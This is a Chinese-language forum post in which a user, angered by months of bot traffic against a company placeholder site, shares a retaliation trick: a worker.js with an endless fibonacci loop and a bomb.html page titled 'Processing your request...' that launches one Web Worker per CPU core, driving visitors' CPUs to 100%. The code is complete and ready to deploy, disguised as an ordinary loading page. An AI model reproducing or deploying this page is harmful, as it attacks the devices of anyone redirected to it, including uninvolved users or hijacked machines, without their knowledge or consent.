找回密码
 立即注册
搜索
查看: 47|回复: 0

有人持续攻击我们公司的网站

[复制链接]
发表于 2025-9-4 11:42 | 显示全部楼层 |阅读模式
   公司的空壳网站遭人持续攻击
近30天有40万个IP,高达3700万次的请求


wechat_2025-09-04_113553_030.png

虽然没造成什么影响,但是咱也不惯着他,直接开干。
由于是空壳网站,基本也没什么人访问。直接302重定向到ovh
刚开始是搞了一个1G的文件让他们下载,但是从耗时来看,他们没上当。
那就换一个思路
在ovh那里新建一个worker.js
将以下代码粘贴进去:
  1. function fibonacci(n) {
  2.     if (n <= 1) {
  3.         return n;
  4.     }
  5.     return fibonacci(n - 1) + fibonacci(n - 2);
  6. }

  7. // 接收主线程的消息
  8. self.onmessage = function(e) {
  9.     // 持续计算,直到被终止
  10.     while (true) {
  11.         fibonacci(e.data.n);
  12.     }
  13. };
复制代码
这个脚本会持续执行 fibonacci 计算,直到它所在的 Web Worker 线程被终止。
接下来,修改 bomb.html 文件。我们将在这里创建多个 Web Worker 实例,让它们同时开始工作。
将内容替换为以下代码:
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.     <title>Processing...</title>
  5. </head>
  6. <body>
  7.     <h1>Processing your request...</h1>
  8.     <script>
  9.         // 获取逻辑CPU核心数
  10.         const numWorkers = navigator.hardwareConcurrency || 4;
  11.         
  12.         // 针对每个核心,创建一个Web Worker
  13.         for (let i = 0; i < numWorkers; i++) {
  14.             const worker = new Worker('worker.js');
  15.             // 启动计算任务,参数可以调整,值越大计算越复杂
  16.             worker.postMessage({ n: 35 });
  17.         }

  18.         console.log(`Launched ${numWorkers} CPU bombs.`);
  19.     </script>
  20. </body>
  21. </html>
复制代码
我打开之后,CPU直接100%

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|═╬簡箪√嗳's BBS

GMT+8, 2025-10-3 05:08

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表